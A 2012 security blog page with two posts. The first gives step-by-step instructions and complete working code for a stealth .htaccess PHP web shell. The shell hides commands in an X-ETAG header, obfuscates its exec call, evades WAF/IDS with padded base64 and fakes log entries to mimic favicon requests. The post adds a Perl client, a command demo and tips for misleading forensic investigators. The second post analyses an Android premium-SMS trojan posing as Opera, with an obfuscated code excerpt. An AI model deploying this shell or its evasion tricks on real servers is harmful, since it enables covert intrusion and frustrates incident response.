Monday, 13 February 2012

Writing a Stealth Web Shell

Cross-posted from Just Another Hacker.  Author:  Eldar Marcussen, stratsec Melbourne.

People keep referring to the htshells project as stealth!?!?!?!? They are very unstealthy, leaving plenty of evidence in the logs, but it did get me thinking, what would a .htaccess stealth shell look like? In order to claim the status of "stealth" the shell would have to meet the following requirements:

  • No bad function calls

  • Hidden file

  • Hidden payload

  • Hidden url

  • WAF/IDS bypass

  • Limited forensic evidence

Looks like a small list, shouldn't be too hard....

No bad function calls

The shell should not contain any bad function calls such as eval, passthru, exec, system, `` or similar operators. This is to avoid detection from scanners such as anti vrus or static analysis tools. We have a few options here, such as using a variable variable to dynamically assign the function to call,  or we could go with the non alpha php shell. I did however choose to go with a feature that relies on common methods and AFAIK not many scanners pick up on variable function calls.

Hidden file

I already solved this with my htshells project. Having your shell in a dot file keeps it hidden on linux. If you cannot upload a .htaccess file however I would aim to hide in plain sight with a index.php file instead.

Hidden payload

In order to keep the payload out of the url we'll provide it outside of the request URI and request body. A cookie is a common place to store the payload, but I decided to use a non cookie header. Just to be safe, in case someone decides to log cookies.

Hidden url

Luckily the htaccess file also offers us an option to hide the url of our web shell using mod_rewrite. This allows us to invoke the shell through a different url.

WAF/IDS bypass

By applying common encoding we can ensure that plaintext rules don't match our payload and make parsing the request expensive enough to ensure that realtime decoding isn't feasible. For the extra paranoid, encoding in combination with basic obfuscation will stop detection by IDS which can offload the offline decoding to an agent. I chose plain base64_encoding, and padded it with some bytes to make automated parsing fail.

Limited forensic evidence

This is where most shells fails, most web scripts use request parameters for command input. This is great on penetration tests as it offers transparency to the client, but it's not very stealthy. I'll start by illustrating a log segment for favicon requests.

# grep favicon.ico /var/log/apache2/access.log - - [20/Apr/2011:09:46:30 +0400] "HEAD /favicon.ico HTTP/1.0" 200 - "-" "-" - - [20/Apr/2011:09:52:27 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)" - - [20/Apr/2011:10:07:29 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)" - - [20/Apr/2011:10:32:31 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16"

As you can see from the example, the log records the IP of the client making the request, the (server) time of the request, the request method and url, response code, response size, referrer and user-agent. Normally the htshell would be a dead giveaway: - - [23/Jan/2012:11:47:32 +1100] "GET /.htaccess?c=uname -a HTTP/1.1" 200 617 "-" "Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"

It is clear that the url accessed was .htaccess,and it responded with a 200 OK response code instead fo the usual 403, it is also evident what command was run. In order to keep the shell from leaving forensic evidence, we will disguise the request to the shell as a normal 200 OK or a 404 response to a seemingly normal file using the hidden url and hidden payload.

Now for the actual implementation, using php for the programming language:

• No bad function calls

Invoking function names by string FTW! $e = str_replace('y','e','yxyc'); $e($cmd) will call exec on $cmd.

• Hidden file

the shell is .htaccess, as hidden as it gets.

• Hidden payload

Receive the payload via the X-ETAG header, which is accessible via: $_SERVER['HTTP_X_ETAG'] and send the response via the same header. This requires output buffering to be enabled otherwise PHP will complain about headers being sent after output has started. Luckily this is not an admin flag and can be set from within the .htaccess file itself using: php_value output_buffering 1.

• Hidden url

Rewrite supposed url to the .htaccess file if X-ETAG request header is set:

RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]

This allows us to make requests to existing files, and gettting the shell if the X-ETAG header is set.

• WAF/IDS bypass

By padding the base64 encoding with two bytes automated base64 decoding attempts will fail with a length check error.

• Limited forensic evidence

By generating output PHP will set the response code to 200 OK, although a header() call can easily be used to make it something else. Thanks to the output buffering the content of the .htaccess file can be discarded and the response size can be set to a known value. I'm using print str_repeat("A", 9326); to match the size of my favicon which can be seen in the first log snippet.

This all combines to the following file:

# Self contained .htaccess stealth web shell - Part of the htshell project
# Written by Wireghoul -

# Override default deny rule to make .htaccess file accessible over web

Order allow,deny
Allow from all

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

# Enable output buffering so we can fudge content length in logs
php_value output_buffering 1

# Rewrite supposed url to the .htaccess file if X-ETAG request header is set
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]

# SHELL <?php ob_clean(); $e = str_replace('y','e','yxyc'); $e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush(); exit(); ?>

Unfortunately the WAF/IDS bypass makes it somewhat unfriendly to use with traditional HTTP clients, so I wrote a perl based client:
# Interface for the mod_php htaccess stealth shell
# Written by Wireghoul -

use warnings;
use strict;
use MIME::Base64;
use LWP::UserAgent;

&usage unless $ARGV[0];
my $url = $ARGV[0];
pop(@ARGV); #keep readline happy
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16');

sub usage {
print "Usage: $0 url\nExample: $0\n";
exit 2;

my $cmd = '';
print "Connecting to shell at $url - type 'exit' to exit";
until ($cmd eq 'exit') {
print "\nshell> ";
$cmd = readline;
chomp $cmd;
my $payload = 'AA'.encode_base64($cmd);
my $response = $ua->get( $url, 'X-ETAG' => $payload);
if ($response->header('X-ETAG')) {
print decode_base64(substr($response->header('X-ETAG'),2));
} else {
print "Error! No payload in response!\n";

A quick demo:

# GET http://localhost/favicon.ico | head -1
h6 ?@@(F(
# ./ http://localhost/favicon.ico
Connecting to shell at http://localhost/favicon.ico - type 'exit' to exit
shell> uname -a
Linux bt #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
# tail -3 /var/log/apache2/access.log - - [31/Jan/2012:14:07:59 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16" - - [31/Jan/2012:14:08:01 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16" - - [31/Jan/2012:14:08:03 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16"

Notice there is nothing indicating any difference between the first request (normal request to the actual file) and the two shell commands.

Some parting notes:

  • Large response bodies can cause the header to exceed the maximum size defined when compiling Apache (default 8190), the best way to get around this is to store the command output in the session and return it one chunk at a time.

  • Divert the investigator by presenting a likely scenario, if there is an existing file, such as a picture. Hotlink the image from a public forum and use the forum url as referrer value and use a known aggressive crawler as the user agent.

  • Rewrite the shell to use different values than the X-ETAG, etc used in the demo script for better WAF bypass.

  • I guess it's OK to call the htshells project stealth now?

  • Systems that log response length as headers and response body will show varying content length for the shell requests, this is not the default apache behaviour and requires additional modules to be enabled.

Friday, 3 February 2012

Conventional Malware Techniques Spread into Mobile

It’s quite interesting to witness how the years of malware evolution are coming into the present mobile malware scene. Android mobile malware in particular adopts conventional malware techniques at a disturbingly fast pace.

We have already encountered an IRC bot functionality incorporated into Android malware and built by using low-level native code. Exploit techniques and high-level Java code obfuscation are not a big surprise either. Another day introduces another milestone – such as a newly discovered strain that now relies on server-based polymorphism. In a nutshell, every download attempt will fetch a malware that will look different to the mobile anti-malware platform (while staying the same malware by functionality), hence making its hash database useless.

As of today, any mobile anti-malware platform that solely relies on a hash-based malware detection technique can already be considered obsolete. Today, conventional signature-based scanners will still do the job, but only just. Tomorrow, they will have to be able not only scan malicious code, but also emulate it (native ARM CPU instruction set plus Android OS API level) as it will only be a matter of time until the run-time compression and code obfuscation techniques emerge on the mobile malware front.

But let’s get back to our mutton.

Today’s discovery presents a new trojan that appears to be mass-generated on the server side (strictly speaking, not a server-based polymorphism, but one step away from it, considering how easy it is to shuffle the code, then recompile/reassemble it into the new APK files right from the server-based code).

The trojan disguises itself under a popular legitimate application – Opera browser.

As with most of the malware nowadays, it is driven with the "show me the money" motivation, and thus, it still plays the same dumb, but surprisingly resilient trick by sending SMS messages to the premium phone numbers. Nothing fancy apart from the obfuscated Java code:

SmsManager localSmsManager = SmsManager.getDefault();
String str1 = "fiquaziuhaivi<v;esh(emeit_iamaijoiyaip...";
String str2 = str1 + "uzashueneifiepoobiphiezoufooy?a...";
String str3 = this.eb3hlgO.eb3hlgO;
String str4 = str1 + "wohbo/oteebainieheedei]d&ohjuo)...";
String str5 = this.eb3hlgO.O9Tn;
PendingIntent localPendingIntent1 = null;
PendingIntent localPendingIntent2 = null;

Social engineering is cruel (as always): on its fake web site, the trojan warns the users about the cases of the fraudulent usage of its platform, just like legitimate companies are trying to fence themselves off with the security advisories whenever the fraudsters are trying to piggy-back on their brand name/reputation.

Fraudsters' site: "Beware of the fraudulent usage of the Opera browser on mobile phones!"